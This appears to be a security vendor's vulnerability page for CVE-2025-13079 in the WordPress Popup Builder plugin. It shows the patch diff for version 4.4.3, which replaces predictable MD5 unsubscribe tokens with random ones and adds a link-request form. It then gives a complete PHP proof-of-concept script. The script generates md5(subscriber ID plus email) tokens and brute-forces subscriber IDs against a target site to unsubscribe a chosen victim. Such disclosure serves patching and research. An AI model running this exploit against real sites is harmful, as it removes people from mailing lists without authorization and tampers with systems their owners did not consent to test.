+		$wpdb->query( $wpdb->prepare(
+			"UPDATE $subscribersTableName SET unsubscribe_token = %s WHERE id = %d",
+			$newToken,
+			$subscriber['id']
+		));
+
+		// Build unsubscribe URL
+		$homeUrl = get_home_url();
+		$unsubscribeUrl = $homeUrl;
+		$unsubscribeUrl .= '?sgpbUnsubscribe='.urlencode($newToken);
+		$unsubscribeUrl .= '&email='.urlencode($email);
+		$unsubscribeUrl .= '&popup='.$popup;
+
+		// Get blog info for email
+		$blogName = wp_specialchars_decode(get_bloginfo('name'));
+		$adminEmail = get_bloginfo('admin_email');
+
+		// Prepare email
+		/* translators: %s: Blog name */
+		$subject = sprintf(__('[%s] New Unsubscribe Link', 'popup-builder'), $blogName);
+
+		$message = '<html><body>';
+		/* translators: %s: Subcriber first name */
+		$message .= '<p>'.sprintf(__('Hello %s,', 'popup-builder'), esc_html($subscriber['firstName'] ? $subscriber['firstName'] : '')).'</p>';
+		$message .= '<p>'.esc_html__('You requested a new unsubscribe link. Click the link below to unsubscribe from our mailing list:', 'popup-builder').'</p>';
+		$message .= '<p><a href="'.esc_url($unsubscribeUrl).'" style="background: #2271b1; color: #fff; padding: 12px 24px; text-decoration: none; border-radius: 4px; display: inline-block;">'.esc_html__('Unsubscribe', 'popup-builder').'</a></p>';
+		$message .= '<p>'.esc_html__('Or copy and paste this link into your browser:', 'popup-builder').'<br>';
+		$message .= '<a href="'.esc_url($unsubscribeUrl).'">'.esc_url($unsubscribeUrl).'</a></p>';
+		$message .= '<p>'.esc_html__('If you did not request this link, please ignore this email.', 'popup-builder').'</p>';
+		$message .= '</body></html>';
+
+		$headers = array(
+			'From: "'.$blogName.'" <'.$adminEmail.'>',
+			'MIME-Version: 1.0',
+			'Content-type: text/html; charset=UTF-8'
+		);
+
+		return wp_mail($email, $subject, $message, $headers);
+	}
+
 	public static function isPluginActive($key)
 	{
 		$allExtensions = SgpbDataConfig::allExtensionsKeys();
@@ -1111,7 +1278,7 @@
 				<button class="press press-grey sgpb-button-1 sgpb-close-promo-notification" data-action="sg-already-did-review"><?php esc_html_e('I already did', 'popup-builder'); ?></button>
 				<button class="press press-lightblue sgpb-button-3 sgpb-close-promo-notification" data-action="sg-you-worth-it"><?php esc_html_e('You worth it!', 'popup-builder'); ?></button>
 				<button class="press press-grey sgpb-button-2 sgpb-close-promo-notification" data-action="sg-show-popup-period" data-message-type="<?php echo esc_attr($type); ?>"><?php esc_html_e('Maybe later', 'popup-builder'); ?></button></div>
-			<div> </div>
+			<div></div>
 		</div>
 		<?php
 		$popupContent = ob_get_clean();
--- a/popup-builder/com/helpers/ConfigDataHelper.php
+++ b/popup-builder/com/helpers/ConfigDataHelper.php
@@ -1,4 +1,6 @@
 <?php
+defined( 'ABSPATH' ) || exit;
+
 class SGPBConfigDataHelper
 {
 	public static $customPostType;
--- a/popup-builder/com/libs/ListTable.php
+++ b/popup-builder/com/libs/ListTable.php
@@ -1,6 +1,9 @@
 <?php

 namespace sgpbDataTable;
+
+defined( 'ABSPATH' ) || exit;
+
 use sgpbAdminHelper;

 /**
--- a/popup-builder/com/libs/Reports.php
+++ b/popup-builder/com/libs/Reports.php
@@ -1,6 +1,10 @@
 <?php
+
 namespace sgpb;

+defined( 'ABSPATH' ) || exit;
+
+
 class SGPBReports
 {
 	private $type     = 'debug';
--- a/popup-builder/com/libs/SGPBImporter.php
+++ b/popup-builder/com/libs/SGPBImporter.php
@@ -1,5 +1,7 @@
 <?php
 namespace sgpb;
+defined( 'ABSPATH' ) || exit;
+
 use WP_Importer;

 if (!class_exists('WP_Importer')) {
--- a/popup-builder/com/libs/Table.php
+++ b/popup-builder/com/libs/Table.php
@@ -2,6 +2,8 @@

 namespace sgpbDataTable;

+defined( 'ABSPATH' ) || exit;
+
 use sgpbAdminHelper;
 use sgpbSubscriptionPopup;
 require_once(dirname(__FILE__).'/ListTable.php');
@@ -102,6 +104,7 @@

 		$this->customizeQuery( $query );

+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
 		$totalItems = count( $wpdb->get_results( $query ) ); //return the total number of affected rows

 		if ($this->previewPopup) {
--- a/popup-builder/com/libs/WOOSL_CodeAutoUpdate.php
+++ b/popup-builder/com/libs/WOOSL_CodeAutoUpdate.php
@@ -1,6 +1,7 @@
 <?php
-
 namespace sgpb;
+defined( 'ABSPATH' ) || exit;
+
 /**
  * Allows plugins to use their own update API.
  * Note: This updater is not used for Community/Hosted version of the plugin.
--- a/popup-builder/com/libs/parsers.php
+++ b/popup-builder/com/libs/parsers.php
@@ -1,5 +1,7 @@
 <?php
 namespace sgpb;
+defined( 'ABSPATH' ) || exit;
+
 use DOMDocument;
 /**
  * WordPress eXtended RSS file parser implementations
--- a/popup-builder/popup-builder.php
+++ b/popup-builder/popup-builder.php
@@ -3,7 +3,7 @@
 * Plugin Name: Popup Builder - Create highly converting, mobile friendly marketing popups.
 * Plugin URI: https://popup-builder.com
 * Description: The most complete popup plugin. Html, image, iframe, shortcode, video and many other popup types. Manage popup dimensions, effects, themes and more.
-* Version: 4.4.2
+* Version: 4.4.3
 * Author: Looking Forward Software Incorporated.
 * Author URI: https://popup-builder.com
 * License: GPLv2
@@ -36,13 +36,13 @@
 function sgpb_verify_subscriptionplus_deactivated() {
   if (get_transient('sgpb_subscriptionplus_status')) {
         ?>
-        <div class="notice notice-warning is-dismissible">
-            <p><?php
-            echo wp_kses_post ( __(
-						        'One or more popups with the Subscription Plus Type were deactivated because you deactivated the Popup Builder Subscription Plus add-on. Click <a href="'.esc_url( admin_url( 'edit.php?post_status=trash&post_type=popupbuilder' ) ).'">here</a> to view your Popups.',
-						        'popup-builder'),
-						 );
-					?></p>
+        <div class="notice notice-warning is-dismissible">
+						<p><?php
+						 /* translators: %s: Edit Popup Link for administrator */
+              printf( wp_kses_post ( __(
+						        'One or more popups with the Subscription Plus Type were deactivated because you deactivated the Popup Builder Subscription Plus add-on. Click <a href="%s">here</a> to view your Popups.',
+						        'popup-builder')) , esc_url( admin_url( 'edit.php?post_status=trash&post_type=popupbuilder' ) ) );
+						?></p>
         </div>
         <?php
         // Delete the transient so it only shows once
--- a/popup-builder/public/views/unsubscribeLinkRequestForm.php
+++ b/popup-builder/public/views/unsubscribeLinkRequestForm.php
@@ -0,0 +1,143 @@
+<?php
+/* Exit if accessed directly */
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+/**
+ * Template for displaying the unsubscribe link request form
+ * Used when old MD5 unsubscribe links are detected or when tokens are invalid
+ *
+ * @var string $popup Popup ID
+ * @var string $status Status message (success, error, not_found)
+ * @var string $homeUrl Home URL
+ * @var string $actionUrl Admin post action URL
+ * @var string $emailValue Pre-filled email value if available
+ */
+?>
+<!DOCTYPE html>
+<html>
+<head>
+	<meta charset="UTF-8">
+	<meta name="viewport" content="width=device-width, initial-scale=1.0">
+	<title><?php esc_html_e('Request New Unsubscribe Link', 'popup-builder'); ?></title>
+	<style>
+		body {
+			font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+			background: #f0f0f1;
+			margin: 0;
+			padding: 20px;
+			display: flex;
+			justify-content: center;
+			align-items: center;
+			min-height: 100vh;
+		}
+		.unsubscribe-form-container {
+			background: #fff;
+			padding: 40px;
+			border-radius: 8px;
+			box-shadow: 0 2px 8px rgba(0,0,0,0.1);
+			max-width: 500px;
+			width: 100%;
+		}
+		.unsubscribe-form-container h2 {
+			margin-top: 0;
+			color: #1d2327;
+			font-size: 24px;
+		}
+		.unsubscribe-form-container p {
+			color: #646970;
+			margin-bottom: 20px;
+			line-height: 1.6;
+		}
+		.unsubscribe-form-container .form-group {
+			margin-bottom: 20px;
+		}
+		.unsubscribe-form-container label {
+			display: block;
+			margin-bottom: 8px;
+			color: #1d2327;
+			font-weight: 600;
+		}
+		.unsubscribe-form-container input[type="email"] {
+			width: 100%;
+			padding: 12px;
+			border: 1px solid #8c8f94;
+			border-radius: 4px;
+			font-size: 16px;
+			box-sizing: border-box;
+		}
+		.unsubscribe-form-container input[type="email"]:focus {
+			border-color: #2271b1;
+			outline: none;
+			box-shadow: 0 0 0 1px #2271b1;
+		}
+		.unsubscribe-form-container button {
+			background: #2271b1;
+			color: #fff;
+			border: none;
+			padding: 12px 24px;
+			border-radius: 4px;
+			font-size: 16px;
+			cursor: pointer;
+			width: 100%;
+			font-weight: 600;
+		}
+		.unsubscribe-form-container button:hover {
+			background: #135e96;
+		}
+		.unsubscribe-form-container .message {
+			padding: 12px;
+			border-radius: 4px;
+			margin-bottom: 20px;
+		}
+		.unsubscribe-form-container .message.success {
+			background: #00a32a;
+			color: #fff;
+		}
+		.unsubscribe-form-container .message.error {
+			background: #d63638;
+			color: #fff;
+		}
+	</style>
+</head>
+<body>
+	<div class="unsubscribe-form-container">
+		<h2><?php esc_html_e('Your link has expired', 'popup-builder'); ?></h2>
+		<p><?php esc_html_e('Enter your email to receive a new unsubscribe link.', 'popup-builder'); ?></p>
+
+		<?php if (!empty($status)) : ?>
+			<?php if ($status === 'success') : ?>
+				<div class="message success">
+					<?php esc_html_e('A new unsubscribe link has been sent to your email address.', 'popup-builder'); ?>
+				</div>
+			<?php elseif ($status === 'error') : ?>
+				<div class="message error">
+					<?php esc_html_e('An error occurred. Please try again or contact the administrator.', 'popup-builder'); ?>
+				</div>
+			<?php elseif ($status === 'not_found') : ?>
+				<div class="message error">
+					<?php esc_html_e('Email address not found in our subscription list.', 'popup-builder'); ?>
+				</div>
+			<?php endif; ?>
+		<?php endif; ?>
+
+		<?php if ($status !== 'success') : ?>
+			<form method="post" action="<?php echo esc_url($actionUrl); ?>">
+				<input type="hidden" name="action" value="sgpb_request_new_unsubscribe_link">
+				<input type="hidden" name="popup" value="<?php echo esc_attr($popup); ?>">
+				<?php wp_nonce_field('sgpb_request_unsubscribe_link', 'sgpb_unsubscribe_nonce'); ?>
+				<div class="form-group">
+					<label for="sgpb_unsubscribe_email"><?php esc_html_e('Email Address', 'popup-builder'); ?></label>
+					<input type="email" id="sgpb_unsubscribe_email" name="email" required placeholder="<?php esc_attr_e('your@email.com', 'popup-builder'); ?>" value="<?php echo esc_attr($emailValue); ?>">
+				</div>
+				<button type="submit"><?php esc_html_e('Send New Unsubscribe Link', 'popup-builder'); ?></button>
+			</form>
+		<?php endif; ?>
+
+		<p style="margin-top: 20px; font-size: 14px;">
+			<a href="<?php echo esc_url($homeUrl); ?>"><?php esc_html_e('Return to homepage', 'popup-builder'); ?></a>
+		</p>
+	</div>
+</body>
+</html>
+

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13079 - Popup Builder - Create highly converting, mobile friendly marketing popups. <= 4.4.2 - Improper Authorization to Unauthenticated Subscriber Removal via Predictable Tokens

<?php
/**
 * Proof of Concept for CVE-2025-13079
 * Predictable Unsubscribe Token Brute-force Attack
 * 
 * This script demonstrates how an attacker can unsubscribe arbitrary subscribers
 * by brute-forcing the predictable MD5 unsubscribe tokens.
 * 
 * Requirements:
 * - Known victim email address
 * - Known popup ID (subscription form ID)
 * - Access to target WordPress site with vulnerable Popup Builder plugin (<=4.4.2)
 */

// Configuration
$target_url = "https://vulnerable-wordpress-site.com";  // Change to target site
$victim_email = "victim@example.com";                    // Known victim email
$popup_id = "123";                                       // Known popup/subscription form ID
$max_subscriber_id = 1000;                                // Maximum subscriber ID to brute-force

/**
 * Generate the predictable unsubscribe token
 * The vulnerable plugin uses: md5(subscriber_id . email)
 */
function generate_token($subscriber_id, $email) {
    return md5($subscriber_id . $email);
}

/**
 * Test unsubscribe token against target
 */
function test_unsubscribe($target_url, $token, $email, $popup_id) {
    $url = $target_url . "/?sgpbUnsubscribe=" . urlencode($token) . 
           "&email=" . urlencode($email) . 
           "&popup=" . urlencode($popup_id);
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    // Successful unsubscribe typically returns 200 with confirmation message
    // Failed attempts may show error messages or redirect
    return array('code' => $http_code, 'response' => $response);
}

/**
 * Main exploitation routine
 */
echo "[+] Starting CVE-2025-13079 PoCn";
echo "[+] Target: $target_urln";
echo "[+] Victim email: $victim_emailn";
echo "[+] Popup ID: $popup_idn";
echo "[+] Brute-forcing subscriber IDs 1-$max_subscriber_idnn";

$found = false;
for ($subscriber_id = 1; $subscriber_id <= $max_subscriber_id; $subscriber_id++) {
    // Generate predictable token
    $token = generate_token($subscriber_id, $victim_email);
    
    // Test token
    $result = test_unsubscribe($target_url, $token, $victim_email, $popup_id);
    
    // Display progress every 50 attempts
    if ($subscriber_id % 50 == 0) {
        echo "[+] Tested $subscriber_id/$max_subscriber_id subscriber IDsn";
    }
    
    // Check for successful unsubscribe indicators
    if ($result['code'] == 200) {
        // Look for success indicators in response
        if (strpos($result['response'], 'unsubscribed') !== false || 
            strpos($result['response'], 'success') !== false ||
            strpos($result['response'], 'Unsubscribe') !== false) {
            echo "n[+] SUCCESS! Found valid token!n";
            echo "[+] Subscriber ID: $subscriber_idn";
            echo "[+] Token: $tokenn";
            echo "[+] Unsubscribe URL: $target_url/?sgpbUnsubscribe=$token&email=" . urlencode($victim_email) . "&popup=$popup_idn";
            $found = true;
            break;
        }
    }
    
    // Optional: Add delay to avoid rate limiting
    // usleep(100000); // 100ms delay
}

if (!$found) {
    echo "n[-] No valid token found in tested range.n";
    echo "[-] Try increasing max_subscriber_id or verify target/victim information.n";
}

// Alternative: Direct token generation if subscriber ID is known
// $known_subscriber_id = 42;
// $token = generate_token($known_subscriber_id, $victim_email);
// echo "n[+] Direct token generation (if subscriber ID known):n";
// echo "[+] Token: $tokenn";
// echo "[+] Full URL: $target_url/?sgpbUnsubscribe=$token&email=" . urlencode($victim_email) . "&popup=$popup_idn";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School